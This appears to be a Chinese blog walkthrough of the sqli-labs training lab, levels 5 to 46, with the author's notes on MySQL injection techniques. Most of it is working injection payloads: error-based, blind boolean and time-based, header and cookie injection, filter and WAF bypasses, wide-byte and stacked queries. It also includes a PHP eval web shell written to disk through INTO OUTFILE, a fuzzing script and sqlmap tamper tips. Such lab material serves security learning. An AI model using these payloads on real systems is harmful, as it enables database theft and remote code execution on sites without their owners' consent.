参考示例:
database——security
table——users
columns——username、password
level5-报错注入
(1). 通过floor报错
http://192.168.171.13/sqli/Less-5/?id=1’ union select 1,count(*),concat(0x7e,(select group_concat(distinct column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e,floor(rand(0)*2000))x from information_schema.columns group by x–+
关键:floor(), rand()*2, concat, group_concat();
注意union select需要与列数对应
其中payload为你要插入的SQL语句
需要注意的是该语句将 输出字符长度限制为64个字符
(2). 通过updatexml报错
http://192.168.171.13/sqli/Less-5/?id=1’ and updatexml(1,concat(0x7e,(select group_concat(distinct column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e),“aa”)–+
关键:updatexml(1,payload,1)【函数中的1可为任意值或任意字符串(字符串需要含双引号或单引号)】
同样该语句对输出的字符长度也做了限制,其最长输出32位
并且该语句对payload的反悔类型也做了限制,只有在payload返回的不是xml格式才会生效
(3). 通过ExtractValue报错
http://192.168.171.13/sqli/Less-5/?id=1’ and extractvalue(1,concat(0x7e,(select group_concat(distinct column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e))–+
关键:extractvalue(1,payload)【函数中的1可为任意值或任意字符串(字符串需要含双引号或单引号)】
输出字符有长度限制,最长32位。
level7-写文件、单引号、双括号
不同版本的mysql可能不同,有些secure_file_priv= 默认为空,有些没有secure***选项【没有同null,均不可写入;可以自己在my.ini添加,注意重启服务】
##null或没有secure选项:
##空值情况:
http://192.168.1.7/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[1]);?>' into outfile 'less7-1.php'--+
错误相对路径:http://192.168.1.7/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[1]);?>' into outfile '../../www/less7-1.php'--+
windows下,路径不区分大小写。www与WWW相同
正确相对路径: http://192.168.1.7/sqli/Less-7/?id=1')) union select 1,2,'<?php @eval($_POST[1]);?>' into outfile '../../../www/less7-1.php'--+
可以尝试重复写入,会有相应提示【但一般真实站点不会出现这种失误,会做相应的错误处理】
绝对路径:http://192.168.1.7/sqli/Less-7/?id=1’)) union select 1,2,’<?php @eval($_POST[1]);?>’ into outfile ‘/less7-1.php’–+
##根路径情况
效果同上,这里的根目录实际是数据库的。只能构造相对路径,或者使用绝对路径写入。
直接www目录会报错,phpstudy无法设置
level8-单引号、布尔盲注
http://192.168.2.13/sqli/Less-8/?id=1’ and (length(database()))>10 --+
【二分法判断】
http://192.168.2.13/sqli/Less-8/?id=1’ and ascii(substr((select database()),1,1))=115+ --+【索引从前1开始(str, ind【此处爆破设为8 {security}】, 1固定),ascii关键位置48{1}, 65{A}, 97{a}】
布尔只有true和false,对应两种页面
盲注需要掌握一些MySQL的相关函数:
length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
LEFT(str,len):返回字符串str的最左面len个字符
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
level9-单引号、时间盲注
/sqli/Less-9/?id=1’+and+if(ascii(substr(database(),1,1))>0,sleep(5),0)–+ [true则选择sleep,false选0,substr从1开始]
?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=101,0,sleep(5))–+【limit从0开始 start, end,加粗为需要爆破部分】
或者:?id=1’ and ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit 3,1),1,1))=101 and sleep(2)–+
只有1种显示,无法通过显示判断单、双引号,只能尝试是否存在时间盲注
【burp爆破:
】
level11-post、单引号、可显注入
uname=admin’ order by 2#&passwd=1&submit=Submit
【二分法】
uname=-qing’ union select 1, GROUP_CONCAT(schema_name) FROM information_schema.schemata##&passwd=1&submit=Submit//爆全部数据库
uname=-qing’ union select database(),group_concat(distinct table_name) from information_schema.columns where table_schema=‘security’#
组合函数:
group_concat()
concat()
concat_ws()
【注意:如果服务器过滤了空格,需要将空格改为+,get请求可以直接修改,post请求不可以,必须在burp中修改,否则+号会被浏览器进行url编码
post注入用sqlmap时一定要用-r或者–data、–forms等方式表明post注入,否则无法成功;
-r对应的文件,建议是包含表单提交的数据,如果数据为空,sqlmap可能出错】
level13-post、单引号、双注入
双注报错原理在group by执行原理,group by 在执行的时候会生成一张虚拟表,而group by后面的key就是这张表的主键
因为使用rand()*2作为排序条件,那么在查询是生成的key为0,检测虚拟表无重复,再插入的时候有生成1,插入表中时主键冲突就会报出错误。并且表现为不一定是每次都报错
uname= qing’) or 1=1 – +&passwd=1&submit=Submit
uname= qing’) or (‘1’)=('1 &passwd= ') or (‘1’)=('1 &submit=Submit 【注意这里不用注释的payload的构造】
uname= qing’) union select count(*),concat(0x7e,(select database()),0x7e,version(), 0x7e, user(), 0x7e, floor(rand()*20000)) as qing from information_schema.tables group by qing # &passwd= ') or 1=1 # &submit=Submit 【当前数据库、版本、用户】
uname= qing’) union select count(*),concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),0x7e,floor(rand(0)*2000))x from information_schema.columns group by x # &passwd= ') or 1=1 # &submit=Submit【字段名】
level19-http头部注入
qing’ or updatexml(1,concat(0x7e,(database()),0x7e),0) or ’
http头部和普通注入差不多,只不过注入位置不一样。一般来说,页面不容易看出(有时候有p记录、user-agent之类的可能存在,不过建议直接sqlmap尝试; 常见位置:【Referer】、【X-Forwarded-For】、【Cookie】、【X-Real-IP】、【Accept-Language】、【Authorization】
level20-post、cookie、回显注入
Cookie: uname=’ union select 1,database(),6 or 1=1 #;
【sqlmap跑时需要注意level要在2以上,真实网站测试时,不建议设置太高进程,可能跑崩服务器】
常见绕过:
删除构造:通过代码删除机制,构造删除后可以使用的语句
无关混淆:在代码前后添加一些无关紧要的东西,因为代码机制原因,只识别从某部分开始的代码,所以添加的东西并不影响代码执行,但会混淆恶意代码检测机制
大小写
进制转换
level21-post、cookie、回显注入、base64编码
Cookie: uname=JykgdW5pb24gc2VsZWN0IDEsZGF0YWJhc2UoKSwzICM=【’) union select 1,database(),3 #的base64编码】
注意:这里有点奇怪,类似上一关,但是上一关在sqlmap下没有太大问题,这里就总是会报错。【猜测可能是因为没有进行编码,无法检测是什么注入,所以进行了大量尝试,导致服务器出错{cgi报错}】;
还有,这里uname后面的值建议为空,其他值很多会报错{同样是fastcgi报错}【不太清楚什么原因】
level22-闭合为双引号、参考上关
level23-get请求、过滤注释符
http://192.168.171.13/sqli/Less-23/?id=qing’ union select 1,group_concat(username),group_concat(password) from users where 1 or ‘1’ = ’
sqlmap可以跑出来
level24-二次注入
login.php、login_create.php:
level25-字符过滤
参考源码:
function blacklist($id){
$id= preg_replace('/or/i',"", $id);
$id= preg_replace('/AND/i',"", $id);
return $id;
}
双写绕过
http://sqli-qing.cn/sqli/Less-25/?id=1’ oorr ‘1’='1
http://sqli-qing.cn/sqli/Less-25/?id=qing’ union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=‘security’ --+
sqlmap可以
level26-字符过滤
参考源码:
function blacklist($id) {
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
payload
qing'%A0union%A0select%A01,group_concat(username),group_concat(passwoorrd)%A0from%A0security%2Eusers%A0where%A01%A0%26%26%a0'1
%A0替代空格 &&替换and 注意url编码 未成功,网上说需要linux
http://192.168.1.103/sqli/Less-26/?id='||extractvalue(1,concat('$',(select(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))))||'
windows下可绕过
sqlmap跑不出来
preg_replace的几种模式匹配:
\ w匹配一个“单词”字符(字母数字加“ _”)
\ W匹配非单词字符
\ s匹配空白字符
\ S匹配非空格字符
\ d匹配数字字符
\ D匹配一个非数字字符
\ b匹配单词边界
\ B匹配非(单词边界)
\ A仅在字符串开头匹配
\ Z仅在字符串末尾或换行符末尾匹配
\ z仅在字符串末尾匹配
\ G仅在上一个m // g停止的地方匹配(仅适用于/ g)
level27-字符过滤
26基础上,大写select某字符绕过
level29-waf、http参数污染
源代码
if(isset($_GET['id']))
{
$qs = $_SERVER['QUERY_STRING'];
$hint=$qs;
$id1=java_implimentation($qs);#多个参数时,只能取到第一个参数的值
$id=$_GET['id'];
// echo $id1;
whitelist($id1);
function whitelist($input)
{
$match = preg_match("/^\d+$/", $input);
http://192.168.1.103/sqli/Less-29/login.php?id=1&id=' union select 1,2,3--+
显示的是id=2的内容 但是waf检测的是前面id=1的内容,故第二个id可注入
注意:
此题需要指明login.php,题目只有这里做了限制,默认的index.php没有限制
level30-waf、http参数污染、双引号
http://192.168.1.103/sqli/Less-30/login.php?id=1&id="union select 1,2,3--+
level32-宽字节注入
源码
mysql_query("SET NAMES gbk");
http://192.168.1.103/sqli/Less-32/?id=-1%df’ UNion seleCt 1,2,DATABASE()–+
gbk下,单引号会被转义为’,而%df可以融合\,从而使单引号逃逸出来,成功注入。
从%81到%fe都是符合的。
测试脚本:
import requests
url1 = "http://127.0.0.1:81/Less-32/?id=1"
url2 = "'"
urlcode=[]
code="1234567890abcdef"
for word1 in code:
for word2 in code:
urlcode.append("%"+str(word1)+str(word2))
print(len(urlcode))
for word3 in urlcode:
url=url1+word3+url2
res = requests.get(url=url)
if 'error' in res.content.decode("utf-8", "ignore"):
print(word3)
sqlmap+tamper (unmagicquotes)可以跑出来
level35-addslash绕过
function check_addslashes($string)
{
$string = addslashes($string);
return $string;
}
如果addslash在gbk下,同32思路可绕过
但此关的sql语句中的$id没有在单引号中(即不作为字符串处理),所以实际上这里的\并不能起到转义作用,所以这里不需要构造单引号闭合,直接union就可以查询了。
level38-堆叠注入
源码
if (mysqli_multi_query($con1, $sql))
http://192.168.171.13/sqli/Less-38/?id=-1’ union select 1,2,database();insert into users values(18,‘zhong’,‘zhong’)–+
可以通过分号构造多条sql语句进行查询
堆叠注入介绍
level46-order by注入
通过asc 和desc查看返回数据是否相同来简单判断是否存在order by注入
payload
报错注入:http://192.168.171.13/sqli/Less-46/?sort=1 and(updatexml(1,concat(0x7e,(select database())),0));
时间盲注:http://192.168.171.13/sqli/Less-46/?sort=1 and If(ascii(substr(database(),1,1))<115,0,sleep (2))【这里有点奇怪,sleep的时间不可控,会很长,但bool不是sleep时,可以正常响应,所以同样可以利用】
sqlmap可以跑出来
后面几关以后再作补充。
思考角度:
优先考虑写入文件,如果可以,能够直接getshell
联合注入:有位置回显【建议前面的值为空,有时候即使是不存在的值,也会导致服务器出错,比如less21】
报错注入:有报错回显
布尔注入:页面状态变化
时间注入:页面状态无变化,sleep函数有效
http头部注入:和上面注入差不多,只不过位置不一样,页面比较难观察,建议直接用sqlmap检测,且level设置为5
tamper
unmagicquotes: addslah()、mysql_real_escape_string()都会将单引号等字符转义,gbk下可通过宽字节绕过。如果sql语句中的查询id没有单引号包括,则\失效,可以随意构造查询语句。上述所有情形,sqlmap都可以在此tamper跑出来。
注意:
爆数据时最好通过group_concat()进行多数据爆破,如果不行就用limit来逐一爆数据;
sqlmap卡住时,可以考虑降低threads和risk重新尝试
实际上,sqlmap同样是通过爆破跑出来的,所以基础sqlmap可以注入的几种类型,可以推测出是否可以用sqlmap注入,而且要好好利用tamper绕过各种waf。高级玩法可以同自己写的脚本结合使用。
手工注入步骤:
找出注入点
判断闭合符号
二分法判断列数(order by)
判断注入类型
[二分法判断需要爆的数据的长度]
数据库名
数据库版本
数据库权限
表名
字段名
数据
有限制则尝试绕过
1-65通关参考1
1-65通关参考2
1-35通关参考
sqlmap注入参考
常见绕过1
常见绕过2
url编码基础
tamper简介
tamper分类
本博客由自己实验,并参考部分博文写成。如有作者觉得侵权,请联系本人删除。
有些东西只是自己的猜测,如果有不正确的地方,欢迎各位大佬指正。